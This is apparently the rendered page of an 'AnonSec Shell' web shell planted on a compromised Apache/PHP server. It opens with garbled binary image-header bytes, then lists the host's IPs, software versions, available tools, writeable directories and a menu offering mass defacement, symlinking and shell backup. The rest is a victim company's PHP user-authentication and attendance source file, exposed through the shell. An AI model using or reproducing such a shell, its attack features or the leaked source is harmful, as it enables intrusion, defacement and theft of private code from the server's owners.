JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/ascii/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/ascii/app/helpers/ocuser.php
<?php
class OCUser extends DBLink
{
	const
		PERM_VIEW               = 0x000001,         // View regular content. For all users..
		PERM_REORDER            = 0x000002,         // Reorder elements 
		PERM_ADD                = 0x000004,         // Add new elements
		PERM_ADD_RESTRICTED     = 0x000008,         // Add new elements in restricted boxes (admins)
		PERM_DELETE_OWN         = 0x000010,         // Delete own elements
		PERM_DELETE_OTHERS      = 0x000020,         // Delete other's elements (admins)
		PERM_DELETE_RESTRICTED  = 0x000040,         // Delete elements in restricted boxes(amdins)
		PERM_EDIT_OWN           = 0x000080,         // Edit own elements
		PERM_EDIT_OTHERS        = 0x000100,         // Edit other's elements (admin)
		PERM_EDIT_RESTRICTED    = 0x000200,         // Edit elements in restricted boxes(amdins)
		PERM_EDIT_USER          = 0x000400,         // Add/delete/edit users (admins)
		PERM_USE_ADMINPANEL     = 0x000800,         // Access to the administration pages
		PERM_SEND_EMAIL         = 0x001000,         // Send email to user/group (admin)
		PERM_ADD_EMAIL          = 0x002000,         // Create/edit an email (admin)
		PERM_VIEW_USERSTATS     = 0x004000,         // See user's statistics, completed topics, times, etc. (admin)
		PERM_ADD_ADMIN          = 0x008000,         // Add admins (superadmin)
        PERM_ARCHIVE_ELEMENT    = 0x010000,
        PERM_DELETE_TOPIC       = 0x020000,         // Delete a topic. Should be superadmin only to avoid big mistakes
        PERM_JOIN_RESTRICTED    = 0x040000;         // Allow the user to join a restricted group.
		
    // This is used to test if a usertype falls in the 'administrators' category
    static function ContainsAdminPermission($testperm)
    {
        return $testperm & (
            self::PERM_ADD_RESTRICTED |
            self::PERM_DELETE_OTHERS |
            self::PERM_DELETE_RESTRICTED |
            self::PERM_EDIT_OTHERS |
            self::PERM_EDIT_RESTRICTED |
            self::PERM_EDIT_USER |
            self::PERM_USE_ADMINPANEL |
            self::PERM_SEND_EMAIL |
            self::PERM_VIEW_USERSTATS |
            self::PERM_ADD_ADMIN |
            self::PERM_ARCHIVE_ELEMENT
        );
    }

	protected $session;
	
	function __construct()
	{
		$this->session = new OCSession();
		parent::__construct(FILE_INI_MDADB);

        $this->SafeFetch("SET CHARACTER SET utf8 ");

        /*   */
     //   $this->mongo= new DBLinkMongo(FILE_INI_MDADB_MONGO);
        /* MONGO ADAPTER */

	}
	
    function GetUserid($username)
    {
        $qusername = $this->QuoteText($username);
        $query = "SELECT user.id_user FROM user WHERE username=$qusername LIMIT 1";
        $res = $this->SafeFetchOne($query);
        return $res;
    }
    
    /**
     * 
     * 
     * API updateUserPasswod
     */
    
    public function SetUserPassword($userid, $password)
    {
        $quserid = $this->QuoteInt($userid);
        $password = self::GetRealPassword($password);
        $qpassword = $this->QuoteText(self::HashPassword($password));

        $query = "UPDATE user SET password = $qpassword WHERE user_id = $quserid";

        if( $this->SafeExec($query) ) {
        	return true;
        } else {
            return false;
        }
        
        
        
    }

    public function checkSessionFrontend($idsessione,$idcliente, $tipo){

    	$this->flushSessionFrontend();


    	$idsessione = $this->QuoteText($idsessione);
        $idcliente = $this->QuoteInt($idcliente);
    	if(!$tipo){
    		$query = "SELECT cliente.* FROM cliente_frontend_sessions JOIN cliente on cliente.idcliente = cliente_frontend_sessions.idcliente WHERE cliente.idcliente=$idcliente AND idsession LIKE $idsessione and time_ins > DATE_SUB(NOW(), INTERVAL +1 HOUR)";
    	}else{
    		$query = "SELECT clientedelcentro.* FROM clientedelcentro_frontend_sessions JOIN clientedelcentro ON clientedelcentro.idclientedelcentro = clientedelcentro_frontend_sessions.idcliente WHERE clientedelcentro.idclientedelcentro=$idcliente AND idsession LIKE $idsessione AND time_ins > DATE_SUB(NOW(), INTERVAL +1 HOUR)";
    	}
    	$res= $this->SafeFetch($query);
        
    	echo $query;

        return $res;
    }

    private function flushSessionFrontend(){
    	$query = "DELETE FROM cliente_frontend_sessions WHERE time_ins < NOW() - INTERVAL 1 DAY";
    	$this->SafeExec($query);
    }

    public function recuperaPassword($email, $password)
    {	
    	$email = $this->QuoteText($email);
    	$query = "SELECT last_time_email FROM user WHERE email LIKE $email";
        $res= $this->SafeFetch($query);
        if(count($res)<1){
        	return -1;
        }else
         
        //secondi
        if( (strtotime($res[0]['last_time_email']) + (60*5)/*5minuti*/) < strtotime("now") ){

	        $password = self::GetRealPassword($password);
	        $qpassword = $this->QuoteText(self::HashPassword($password));

	        $query = "UPDATE user SET password = $qpassword, last_time_email=NOW() WHERE email = $email";

	        if( $this->SafeExec($query) ) {
	        	return $password;
	        } else {
	            return -5;
	        }

    	}else{
    		return -2;
    	}

    }


    public function recuperaPasswordCentro($email, $password)
    {	
    	$email = $this->QuoteText($email);
    	$query = "SELECT last_time_email FROM centro WHERE email LIKE $email";
        $res= $this->SafeFetch($query);
        if(count($res)<1){
        	return -1;
        }else
         
        //secondi
        if( (strtotime($res[0]['last_time_email']) + (60*5)/*5minuti*/) < strtotime("now") ){

	        $password = self::GetRealPassword($password);
	        $qpassword = $this->QuoteText(self::HashPassword($password));

	        $query = "UPDATE centro SET password = $qpassword, last_time_email=NOW() WHERE email = $email";

	        if( $this->SafeExec($query) ) {
	        	return $password;
	        } else {
	            return -5;
	        }

    	}else{
    		return -2;
    	}

       
        
        
        
    }
    
	// Returns user data on success, or null on failure
	public function checkPassword($username,$password)
	{
		$password = self::GetRealPassword($password);
		$res = $this->GetUserData($username,$password);
		return $res;
	}

	public function modificaPassword($id_user, $oldpassword, $newpassword){

		$id_user = $this->QuoteInt($id_user);
		$oldpassword = $this->QuoteText(self::HashPassword($oldpassword));
		$newpassword = $this->QuoteText(self::HashPassword($newpassword));
      
        $query = "SELECT COUNT(id_user) as value FROM user WHERE id_user = $id_user AND password = $oldpassword";

        $res= $this->SafeFetch($query);
        if($res[0]['value']){
        	$query = "UPDATE user SET password = $newpassword WHERE id_user = $id_user";
			$this->SafeExec($query);	
			return true;
        }else{
        	return false;
        }
		
		
	}

	public function checkUsername($username)
	{
		
        $qusername = $this->QuoteText($username);
      
        $query = "SELECT COUNT(username) as value FROM user WHERE username LIKE $qusername";

        $res= $this->SafeFetchOne($query);

        return $res['value'];

	}
	
	


	public function checkValidEmail($email){
		
		if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
			return true;
		}else{
			return false;
		}

	}

	function loginRfid($token)
	{
		
		$res = $this->GetUserDataToken($token);
		$this->SetLoginStatus($res);
		if($res){
			$this->setLogLogin($res['id_user'], $_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']);
		}

		return $res;
	}

    
	// Returns user data on success, or null on failure
	function Login($username,$password)
	{
		$password = self::GetRealPassword($password);
		
		$res = $this->GetUserData($username,$password);
		$this->SetLoginStatus($res);
		if($res){
			$this->setLogLogin($res['id_user'], $_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']);
		}
		return $res;
	}

	function LoginCentro($username,$password)
	{
		$password = self::GetRealPassword($password);
		
		$res = $this->GetUserDataCentro($username,$password);
		$this->SetLoginStatus($res);
		if($res){
			$this->setLogLoginCentro($res['id_user'], $_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']);
		}
		return $res;
	}
	    
	    
	function GetUserDataToken($token)
	{
		$atoken = $this->QuoteText($token);
		$where = " WHERE token=$atoken ";
		return $this->subGetUserData($where);
	}

	function GetUserData($username, $password)
	{
		$qusername = $this->QuoteText($username);
		$qpassword = $this->QuoteText(self::HashPassword($password));
		$where = "WHERE email=$qusername AND password=$qpassword ";
		return $this->subGetUserData($where);
	}

	function GetUserDataCentro($username, $password)
	{
		$qusername = $this->QuoteText($username);
		$qpassword = $this->QuoteText(self::HashPassword($password));
		$where = "WHERE email=$qusername AND password=$qpassword ";
		return $this->subGetUserDataCentro($where);
	}
	
	function GetUserDataById($userid)
	{
		$quserid = $this->QuoteInt($userid);
		$where = "WHERE user.id_user = $quserid ";
		return $this->subGetUserData($where);
	}
	
	
	/*
	 * 
	 * Used by the S3 API
	 * 
	 * 
	 */
	
	
	public function SetAvatarLocation($userid, $location) {
		return $this->subSetAvatarLocation($userid, $location);
	}
	
	// $where must begin with "WHERE" and end with a whitespace!
	protected function subSetAvatarLocation($userid, $location)
	{
		$quserid = $this->QuoteInt($userid);
		$qlocation = $this->QuoteText($location);
        $query = "UPDATE user SET avatar_location=$qlocation "
                ."WHERE user_id = $quserid"; 

         return $this->SafeExec($query);
	}
	
	
	
		
	
	// $where must begin with "WHERE" and end with a whitespace!
	protected function subGetUserDataCentro($where)
	{

		$query = "SELECT * "
				."FROM centro "
				//."INNER JOIN user_type USING (user_type_id) "
				.$where
				."LIMIT 1";

		
				//error_log($query);
		$res = $this->SafeFetchRow($query);


		//Set avatar location
		if(count($res)){
			
			$res['user_type_id']=236876;
			$res['name']= "centro";
			$res['id_user']= $res['idcentro'];
			$res['firstname']= $res['ragionesociale'];
			

	    }else{
	    	$res = false;
	    }


		return $res;
	}

	protected function subGetUserData($where)
	{

		$query = "SELECT * "
				."FROM user "
				."INNER JOIN user_type USING (user_type_id) "
				.$where
				."LIMIT 1";

		
				//error_log($query);
		$res = $this->SafeFetchRow($query);


		//Set avatar location
		if(count($res)){
			if($res['avatar_location']){
	            $res['avatar_location']=API_URL_GETFILE.$res['avatar_location'];
	        }else{
	            $res['avatar_location']=DEFAULT_IMAGE;
	        }
	    }else{
	    	$res = false;
	    }


		return $res;
	}

    // Redirects to a different page and die if the user is not logged in
    // Must be called before sending the headers.
	static function AssertUserIsLoggedIn($exiturl='index.php')
    {
        if (!self::IsLoggedIn())
        {
            header('Location: '.$exiturl);
            die();
        }
    }
    
	function Logout()
	{
		$this->SetLoginStatus(false);
		//if ($this->phpbbmgr)
		//{
		//	$this->phpbbmgr->Logout();
		//}
		session_unset();

		session_destroy();
		unset($session);
	}

	function LogoutCentro()
	{
		$this->SetLoginStatus(false);
		//if ($this->phpbbmgr)
		//{
		//	$this->phpbbmgr->Logout();
		//}
		session_unset();

		session_destroy();
		unset($session);
	}
	
	// logindata: false = logout, array=login
	function SetLoginStatus($logindata)
	{

		

		if ($logindata)
		{

            $_SESSION['userdata'] = $logindata;
		}
		else{
			unset($_SESSION['userdata']);
		}
	}
    
    function LReloadLoginData()
    {
        $userid = self::LGetUserId();
        if ($userid)
            $this->SetLoginStatus($this->GetUserDataById($userid));
    }
	
    function GetAllUserTypes($usertypeid = null)
    {
        $qusertypeid = $this->QuoteInt($usertypeid);
        $where = $usertypeid?"WHERE user_type_id = $qusertypeid":"";
        $query = "SELECT user_type_id, name, description FROM user_type $where";
        return $usertypeid?$this->SafeFetchRow($query):$this->SafeFetch($query);
    }
    
    /**
     * 
     * 
     * ADMIN API
     * 
     */
    
    public function getUtenti()
	{
		      
        $query = "SELECT * FROM user INNER JOIN user_type USING (user_type_id) where user.id_user > 0 order by firstname";

        $result= $this->SafeFetch($query);

        foreach ($result as $key => $value) {
			if($result[$key]['avatar_location']){
				$result[$key]['avatar_location']=API_URL_GETFILE.$result[$key]['avatar_location'];
			}else{
				$result[$key]['avatar_location']=DEFAULT_IMAGE;
			}
		}

        return $result;

	}

	public function getLogLoginHome($iduser = null)
	{
		      
		if($iduser){
			$iduser = $this->QuoteInt($iduser);
        	$query = "SELECT iduser, useragent, timestamp, ip, CONCAT(firstname, ' ', lastname) as nome FROM controllo_login INNER JOIN user ON user.id_user=controllo_login.iduser where user.id_user = $iduser limit 15";
        }else{
        	$query = "SELECT iduser, useragent, timestamp, ip, CONCAT(firstname, ' ', lastname) as nome FROM controllo_login INNER JOIN user ON user.id_user=controllo_login.iduser ORDER BY timestamp DESC limit 15";
        }

        $result= $this->SafeFetch($query);

        return $result;

	}

public function getLogLogin($iduser = null)
	{
		      
		if($iduser){
			$iduser = $this->QuoteInt($iduser);
        	$query = "SELECT iduser, useragent, timestamp, ip, CONCAT(firstname, ' ', lastname) as nome FROM controllo_login INNER JOIN user ON user.id_user=controllo_login.iduser where user.id_user = $iduser";
        }else{
        	$query = "SELECT iduser, useragent, timestamp, ip, CONCAT(firstname, ' ', lastname) as nome FROM controllo_login INNER JOIN user ON user.id_user=controllo_login.iduser";
        }

        $result= $this->SafeFetch($query);

        return $result;

	}
	private function setLogLogin($iduser, $useragent, $ip)
	{
		      
		$iduser = $this->QuoteInt($iduser);
		$useragent = $this->QuoteText($useragent);
		$timestamp = $this->QuoteText($timestamp);
		$ip = $this->QuoteText($ip);
    	$query = "INSERT INTO controllo_login (iduser, useragent, timestamp, ip) VALUES ($iduser, $useragent, NOW(), $ip)";
        $result= $this->SafeInsert($query);

        return $result;

	}

	private function setLogLoginCentro($iduser, $useragent, $ip)
	{
		      
		$iduser = $this->QuoteInt($iduser);
		$useragent = $this->QuoteText($useragent);
		$timestamp = $this->QuoteText($timestamp);
		$ip = $this->QuoteText($ip);
    	$query = "INSERT INTO controllo_login_centro (idcentro, useragent, timestamp, ip) VALUES ($iduser, $useragent, NOW(), $ip)";
        $result= $this->SafeInsert($query);

        return $result;

	}


	public function getUtenteInformazioni($id_user, $dal, $al)
	{
		$toRet = array();
		$toRet['stat'] = array();
		$toRet['grafico'] = array();
		
		$qid_user = $this->QuoteInt($id_user);
        $query = "SELECT * FROM user INNER JOIN user_informazioni USING (id_user) WHERE user.id_user = $qid_user";
        $result= $this->SafeFetch($query);
        $toRet['info']=$result[0];

		$qdal = $this->QuoteText($dal);
		$qal = $this->QuoteText($al);
        $query = "SELECT count(*) as contatore FROM cliente WHERE iduser = $qid_user AND insert_time >= $qdal AND insert_time < $qal";
        $toResult= $this->SafeFetch($query);
        $toRet['stat']['clienti_inseriti']=$toResult[0]['contatore'];

        
        $query = "SELECT count(*) as contatore FROM cliente_meta WHERE id_user = $qid_user AND cliente_meta.time >= $qdal AND cliente_meta.time < $qal";
        $toResult= $this->SafeFetch($query);
        $toRet['stat']['clienti_modificati']=$toResult[0]['contatore'];
        $toRet['query']=$query;
		
		$query = "SELECT count(*) as contatore FROM pratica WHERE id_user = $qid_user AND insert_time >= $qdal AND insert_time < $qal";
        $toResult= $this->SafeFetch($query);
        $toRet['stat']['pratiche_inserite']=$toResult[0]['contatore'];

        
        $query = "SELECT count(*) as contatore FROM pratica_meta WHERE id_user = $qid_user AND pratica_meta.time >= $qdal AND pratica_meta.time < $qal";
        $toResult= $this->SafeFetch($query);
        $toRet['stat']['pratiche_modificate']=$toResult[0]['contatore'];








        $qdal = $this->QuoteText($dal);
		$qal = $this->QuoteText($al);
		$query = "SELECT DATE(insert_time) insert_time, COUNT(iduser) totale FROM cliente ".
 				 "WHERE iduser = $qid_user AND insert_time >= $qdal AND insert_time < $qal GROUP BY DATE(insert_time)";
        $atoResult= $this->SafeFetch($query);
        $toResult=array();
        for ($i=0; $i < count($atoResult); $i++) { 
        	$date = new DateTime($atoResult[$i]['insert_time']);
        	$toResult[] = array(intval($date->getTimestamp()*1000), intval($atoResult[$i]['totale']));
        }
        $toRet['grafico']['clienti_inseriti']=$toResult;





        $query = "SELECT DATE(time) insert_time, COUNT(id_user) totale FROM cliente_meta ".
 				 "WHERE id_user = $qid_user AND time >= $qdal AND time < $qal GROUP BY DATE(time)";
        $atoResult= $this->SafeFetch($query);
        $toResult=array();
        for ($i=0; $i < count($atoResult); $i++) { 
        	$date = new DateTime($atoResult[$i]['insert_time']);
        	$toResult[] = array(intval($date->getTimestamp()*1000), intval($atoResult[$i]['totale']));
        }
        $toRet['grafico']['clienti_modificati']=$toResult;
		




		$query = "SELECT DATE(insert_time) insert_time, COUNT(id_user) totale FROM pratica ".
 				 "WHERE id_user = $qid_user AND insert_time >= $qdal AND insert_time < $qal GROUP BY DATE(insert_time)";
        $atoResult= $this->SafeFetch($query);
        $toResult=array();
        for ($i=0; $i < count($atoResult); $i++) { 
        	$date = new DateTime($atoResult[$i]['insert_time']);
			$toResult[] = array(intval($date->getTimestamp()*1000), intval($atoResult[$i]['totale']));        
		}
        $toRet['grafico']['pratiche_inserite']=$toResult;




        $query = "SELECT DATE(time) insert_time, COUNT(id_user) totale FROM pratica_meta ".
 				 "WHERE id_user = $qid_user AND time >= $qdal AND time < $qal GROUP BY DATE(time)";
        $atoResult= $this->SafeFetch($query);
        $toResult=array();
        for ($i=0; $i < count($atoResult); $i++) { 
        	$date = new DateTime($atoResult[$i]['insert_time']);
        	$toResult[] = array(intval($date->getTimestamp()*1000), intval($atoResult[$i]['totale']));
        }
        $toRet['grafico']['pratiche_modificate']=$toResult;




        return $toRet;

	}

	public function updateInformazioneUtente($informazioni, $id_user)
	{
		
		$qinformazioni = $this->QuoteText($informazioni);
		$qid_user = $this->QuoteInt($id_user);

		$query = "UPDATE user_informazioni SET informazioni = $qinformazioni WHERE id_user = $qid_user";

    	if($this->SafeExec($query)){
			return $id_user;
    	}else{
    		return 0;
    	}
       
	}


	public function updateInformazioniBaseUtente($firstname, $lastname, $genere, $datanascita, $ruolo, $location, $id_user, $cellulare)
	{
		
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qgenere = $this->QuoteText($genere);
		$qdatanascita = $this->QuoteText($datanascita);
		$qruolo = $this->QuoteText($ruolo);
		$qlocation = $this->QuoteText($location);
		$qcellulare = $this->QuoteText($cellulare);

		$qid_user = $this->QuoteInt($id_user);
		$query = "UPDATE user SET firstname = $qfirstname, lastname = $qlastname  WHERE id_user = $qid_user";
		$this->SafeExec($query);

		$query = "UPDATE user_informazioni SET genere = $qgenere, location = $qlocation, data_di_nascita = $qdatanascita, ruolo = $qruolo, cellulare = $qcellulare  WHERE id_user = $qid_user";
     
    	if($this->SafeExec($query)){
			return $id_user;
    	}else{
    		return 0;
    	}     

	}

	public function getPresenze($id_user, $dal, $al)
	{
		
		$toReturn = array();
		$qid_user = $this->QuoteInt($id_user);
     	$qdal = $this->QuoteText($dal);
		$qal = $this->QuoteText($al);
		for ($year=2018; $year < 2028; $year++) { 
        	$query = "SELECT * FROM presenze_".$year." WHERE id_user = $qid_user AND timestamp >= $qdal AND timestamp < $qal";
        	$toReturn= array_merge($toReturn,$this->SafeFetch($query));
        }
        return $toReturn;
      
	}

	public function getAllPresenze($id_user)
	{
		$toReturn = array();
		$qid_user = $this->QuoteInt($id_user);
     	for ($year=2018; $year < 2028; $year++) { 
     		 $query = "SELECT * FROM presenze_".$year." WHERE id_user = $qid_user";
     		 $toReturn= array_merge($toReturn,$this->SafeFetch($query));

     	}
      
        return $toReturn;
      
	}



	public function postPresenze($idUser, $dal, $al){
		$aY= explode("-", $dal);
		$year = $aY[0];

		$aidUser = $this->QuoteText($idUser);
		$adal = $this->QuoteText($dal);	
		$aal = $this->QuoteText($al);


		$query = "INSERT INTO presenze_".date("Y")." (id_user, timestamp, endtime) "
		."VALUES ($aidUser, $adal, $aal)";

		return $this->SafeInsert($query);

	}



	public function registraRfid($idUser, $rfid, $force){
		

		$aidUser = $this->QuoteText($idUser);
		$arfid = $this->QuoteText($rfid);	

		if($force){
			$query = "UPDATE user SET token = $arfid WHERE id_user = $aidUser";
			return $this->SafeExec($query);
		}else{
			$query = "SELECT * FROM user WHERE token = $arfid";
	        
	        $ret = $this->SafeFetch($query);

	        if($ret[0]['id_user']){

	        	return false;

	        }else{

	        	$query = "UPDATE user SET token = $arfid WHERE id_user = $aidUser";
				return $this->SafeExec($query);

	        }
			
		}

	}

	public function verificaRfid($rfid){
		

		
		$arfid = $this->QuoteText($rfid);	

		$query = "SELECT * FROM user WHERE token = $arfid";
	        
	    return $this->SafeFetch($query);

	}


	public function deletePresenza($id){
		$aid = $this->QuoteInt($id);	
		$query = "DELETE FROM presenze_".date("Y")." WHERE id = $aid";
    	return $this->SafeExec($query);
	}

	public function cancellaRfid($rfid){
		$arfid = $this->QuoteText($rfid);	
		$query = "UPDATE user SET token = '' WHERE token = $arfid";
		return $this->SafeExec($query);
	}

	private function checkDatePresenza($idUser){
			
		$query = "SELECT * FROM presenze_".date("Y")." WHERE id_user = $idUser AND endtime = '0000-00-00 00:00:00'";
		$ret = $this->SafeFetch($query);
		
		if(count($ret)){
			//$initDate = $ret[0]['id'];
			$adesso = time();//date('Y-m-d H:i:s', time() );

			$initDate = strtotime($ret[0]['timestamp']) + (60*3); //+ 3 minuti
			

			// date('Y-m-d H:i:s', $initDate ) ." > ". date('Y-m-d H:i:s', $adesso );
			if($initDate > $adesso ){
				return -5;				
			}else{
				return $ret[0]['id'];	
			}
		}else{
			return -1;
		}

	}

	

	public function postPresenzeRfid($token){
		date_default_timezone_set('Europe/Rome');
		$token = "".$token;
		$conTok = strlen($token);
		//error_log("letto:".$token."->".$conTok);

		if($conTok<8){
			for ($i=$conTok; $i < 8; $i++) { 
				$token = "0".$token;
			}
		}

		//error_log("letto mod:".$token);
		$atoken = $this->QuoteText($token);	
		$query = "SELECT * FROM user WHERE token = $atoken";
        
        $ret = $this->SafeFetch($query);

        if($ret[0]['id_user']){

        	$aidUser = $this->QuoteInt($ret[0]['id_user']);

        	$idPresenza = $this->checkDatePresenza($aidUser);

        	if($idPresenza == -5){ //troppo presto 
        		return -5;
        	}

        	

        	
        	if($idPresenza > 0){
        		$idPresenza = $this->QuoteInt($idPresenza);	
        		
        		// controlli: se si è dimenticato di badgare quindi la data di oggi è successiva a ieri

        		$equery = "SELECT * FROM presenze_".date("Y")." WHERE id = $idPresenza";
        		$tret = $this->SafeFetch($equery);
				$oggi = date('Y-m-d', time() );
				$dataInizioPresenza = date('Y-m-d',strtotime($tret[0]['timestamp']) ); 
        		
        		//se si è dimenticato di badgare quindi la data di oggi è successiva a ieri
        		if($tret!=$oggi){

        			//chiudo la vecchia presenza
        			$adate = date('Y-m-d 22:22:22',strtotime("-1 days"));
        			$date = $this->QuoteText($adate);
        			$query = "UPDATE presenze_".date("Y")." SET endtime = $date WHERE id = $idPresenza";
        			if($this->SafeExec($query)){
						//inserisco la nuova presenza
						$query = "INSERT INTO presenze_".date("Y")." (id_user) "
						."VALUES ($aidUser)";

						if($this->SafeInsert($query)){
							return 2;
						}else{
							return -2;
						}
					}else{
						return -1;
					}
        		

        		}else{
        			$adate = date('Y-m-d H:i:s', time() );
        		}

        		$date = $this->QuoteText($adate);
        		
        		$query = "UPDATE presenze_".date("Y")." SET endtime = $date WHERE id = $idPresenza";
        		
				if($this->SafeExec($query)){
					return 1;
				}else{
					return -1;
				}


        	}else{

        		$query = "INSERT INTO presenze_".date("Y")." (id_user) "
				."VALUES ($aidUser)";

				if($this->SafeInsert($query)){
					return 2;
				}else{
					return -2;
				}

        	}
		
			
		
		
			
        }else{
        	return -3;
        }

	}


	public function updateInformazioniContattoUtente($cellulare, $email, $linkedin, $whatsapp, $facetime, $skype, $id_user)
	{
		
		$qcellulare = $this->QuoteText($cellulare);
		$qemail = $this->QuoteText($email);
		$qlinkedin = $this->QuoteText($linkedin);
		$qwhatsapp = $this->QuoteText($whatsapp);
		$qfacetime = $this->QuoteText($facetime);
		$qskype = $this->QuoteText($skype);

		$qid_user = $this->QuoteInt($id_user);
		$query = "UPDATE user SET email = $qemail WHERE id_user = $qid_user";
		$this->SafeExec($query);

		$query = "UPDATE user_informazioni SET cellulare = $qcellulare, linkedin = $qlinkedin, whatsapp = $qwhatsapp, skype = $qskype, facetime = $qfacetime  WHERE id_user = $qid_user";
     
    	if($this->SafeExec($query)){
			return $id_user;
    	}else{
    		return 0;
    	}     

	}

	public function updateFotoContattoUtente($avatar, $id_user)
	{
		//SE E' STATO CARICATO UN FILE
		$nome_file = $avatar[0];

		//SALVO FILE SU MONGO
		$aid_mongo = $this->mongo->storeFileJAM( $nome_file, $id_user, FILE_PROFILO_AVATAR);
		
		//AGGIORNO DB MYSQL CON ID FILE MONGO
		$id_mongo = $this->QuoteText($aid_mongo);
		$quserid = $this->QuoteInt($id_user);
		$query = "UPDATE user SET avatar_location = $id_mongo WHERE id_user = $quserid";
    	if($this->SafeExec($query)){
			return API_URL_GETFILE.$id_mongo;
    	}else{
    		return DEFAULT_IMAGE;
    	}
	}


	public function CreateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $created_by, $color)
	{
		$password = self::GetRealPassword($password);

		$qcolor = $this->QuoteText($color);
		$qusername = $this->QuoteText($username);
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qemail = $this->QuoteText($email);
		$qusertypeid = $this->QuoteInt($usertypeid);
		$qpassword = $this->QuoteText(self::HashPassword($password));		
		$qcreated_by = $this->QuoteInt($created_by);

		$query = "INSERT INTO user (user_type_id, username, password, firstname, lastname, email, created_by, color) "
				."VALUES ($qusertypeid, $qusername, $qpassword, $qfirstname, $qlastname, $qemail, $qcreated_by, $qcolor)";
	
		$id_user = $this->SafeInsert($query);

		if($id_user){
			$qid_user = $this->QuoteInt($id_user);
			$query = "INSERT INTO user_informazioni (id_user) VALUES ($qid_user)";
			$id_user = $this->SafeInsert($query);
			return $id_user;
		}else{
			return -1;
		}

	}

	public function UpdateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $update_by, $id, $color)
	{


		$aid = $this->QuoteInt($id);
		$qcolor = $this->QuoteText($color);
		$qusername = $this->QuoteText($username);
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qemail = $this->QuoteText($email);
		$qusertypeid = $this->QuoteInt($usertypeid);
		$qcreated_by = $this->QuoteInt($update_by);

		if($password){
			$password = self::GetRealPassword($password);
			$qpassword = $this->QuoteText(self::HashPassword($password));		

			$query = "UPDATE user set user_type_id=$qusertypeid, username=$qusername, password=$qpassword, firstname=$qfirstname, lastname=$qlastname, email=$qemail, created_by=$qcreated_by, color=$qcolor WHERE id_user = $aid ";
		}else{
			$query = "UPDATE user set user_type_id=$qusertypeid, username=$qusername, firstname=$qfirstname, lastname=$qlastname, email=$qemail, created_by=$qcreated_by, color=$qcolor WHERE id_user = $aid ";
		}
		$this->SafeExec($query);
		return $aid;
    	
	}


	public function deleteUser($id){
		$aid = $this->QuoteInt($id);	
		$query = "DELETE FROM user_informazioni WHERE id_user = $aid";
    	$this->SafeExec($query);
    	$query = "DELETE FROM user WHERE id_user = $aid";
    	return $this->SafeExec($query);
	}


	public function getGroups(){ 
		$query = "SELECT * FROM groups";
        return $this->SafeFetch($query);
	}

	public function getGroupUsersById($id){ 
		$aid = $this->QuoteText($id);	
		$query = "SELECT * FROM usergroup INNER JOIN user ON usergroup.id_user = user.id_user WHERE usergroup.group_id = $aid";
        return $this->SafeFetch($query);
	}

	public function getGroupsUsersByIdLdap($id){ 
		$aid = $this->QuoteText($id);	
		$query = "SELECT * FROM usergroup WHERE usergroup.id_user = $aid";
        $res = $this->SafeFetch($query);

        $toReturn=array();
        foreach ($res as $key => $value) {
        	$toReturn[] = $value['group_id'];
        }
        return $toReturn;
	}

	public function getPagesFromGroups($gruppi){ 
		$pagine = array();

		foreach ($gruppi as $gruppo) {
			$pagine_= array();
			$aidGruppo= $this->QuoteInt($gruppo);	
			$query = "SELECT * FROM groups WHERE groups.group_id = $aidGruppo";
